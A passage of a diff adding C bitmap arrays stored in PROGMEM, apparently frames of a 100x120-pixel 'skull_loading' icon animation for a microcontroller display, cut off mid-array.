0x04, + 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, + 0xa0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x80, 0x10, 0x00, 0xe7, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xc2, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x12, 0x52, 0x00, 0x25, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x0c, 0x60, 0x00, 0x63, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, + 0x60, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x1a, 0x00, 0x04, 0x80, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x08, 0x00, 0x08, 0xc0, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x03, 0x08, 0x00, 0x10, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x42, 0x08, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, + 0x08, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0x10, 0x86, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x0c, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x63, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x02, 0x42, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x03, 0x08, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; +// 'skull_loading_2', 100x120px +const unsigned char bitmap_icon_skull_loading_2 [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x30, 0x80, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x00, 0x10, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x00, 0xd0, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0x84, 0x22, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x01, 0x00, 0xc6, 0x20, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x03, 0x00, 0xc2, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x20, 0xb0, + 0x02, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x62, 0x10, 0x01, 0x8c, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xe0, 0x18, 0x01, 0x8c, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x01, 0x80, 0x03, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x03, 0x00, 0x02, 0x0c, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, + 0x04, 0x0a, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x04, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x21, 0x8c, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x20, 0x00, 0x92, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, + 0x00, 0x00, 0x00, 0x21, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, + 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x80, 0x00, 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x04, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x60, 0x00, 0x40, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, + 0xc0, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x80, 0x1a, 0x5c, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x42, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xe3, 0x00, 0x02, 0x08, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x41, 0x90, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, + 0x18, 0x00, 0x00, 0x81, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc2, 0x00, 0x00, 0x01, + 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x22, 0x00, 0x00, 0x10, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x18, 0x62, 0x10, 0x00, 0x10, 0x80, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x04, 0x90, 0x81, 0x91, 0x28, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x60, 0x08, 0xc3, 0x18, 0x40, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x08, 0x86, + 0x18, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0x80, 0x25, 0x27, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x63, 0x10, 0x46, 0x10, 0x04, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x23, 0x30, 0x61, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x80, 0xa7, 0x29, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xc2, 0x18, 0xc0, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x10, 0x84, 0x08, 0x40, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x19, 0x02, 0x30, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x04, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x10, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0xcc, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x01, 0x80, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x10, 0x00, 0x0c, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x08, 0x08, 0x00, 0x00, 0x0c, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x01, 0x03, 0x18, 0x00, 0x00, 0x0e, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x02, 0x00, + 0x00, 0x00, 0x04, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x80, 0x00, 0x00, 0x00, + 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x04, 0x10, 0x00, 0x08, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xc0, 0x08, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x30, + 0x00, 0x00, 0x00, 0x01, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x10, 0x00, 0x00, 0x00, + 0x02, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x08, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x21, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x40, 0x1e, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, + 0x04, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x87, 0x82, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x42, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x8c, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x1a, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x86, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x05, 0x30, 0x8e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x04, 0xa5, 0x0c, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x18, + 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x30, 0xc0, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0xa1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xc2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; +// 'skull_loading_4', 100x120px +const unsigned char bitmap_icon_skull_loading_4 [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x01, 0x19, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x18, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x90, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x20, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0xe0, 0x00, + 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x60, 0x00, 0xc2, 0x80, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x81, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x23, 0x08, 0xc3, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x22, 0x00, 0xc2, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x04, + 0x94, 0x13, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x62, 0x00, 0x01, 0x8c, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x26, 0x02, 0x03, 0x88, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x0c, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x63, 0x08, 0xc1, 0x84, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, + 0x00, 0x03, 0x02, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x02, 0x26, 0x23, + 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x02, 0x04, 0x21, 0x1c, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb3, 0x85, 0xc0, 0x42, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x63, 0x04, 0x80, 0xcc, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x63, 0x80, 0x81, 0x88, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x94, 0x80, 0x32, + 0x02, 0x9c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x63, 0x16, 0x01, 0x0c, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0xa1, 0x34, 0x0b, 0x98, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xf0, 0x81, 0xa4, 0x48, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x61, 0x00, 0x42, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x90, + 0x01, 0x12, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xb3, 0x18, 0x82, 0x1c, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0xe6, 0x08, 0x00, 0x0c, 0x30, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0x34, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x23, 0x18, 0x80, 0x00, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, + 0x1c, 0xc0, 0x08, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x10, 0x40, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x18, 0xc0, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x04, 0x20, 0x00, 0x06, 0x18, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x02, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xa0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd0, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd8, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x60, 0x00, 0x43, 0x18, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, + 0x87, 0x39, 0xc0, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x94, 0x01, 0x31, 0x01, 0x20, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x10, 0x02, 0x30, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x1c, 0x91, 0x31, 0x26, 0x28, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x20, 0x00, 0xa0, 0x08, 0xc9, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, + 0x00, 0x40, 0x18, 0x82, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 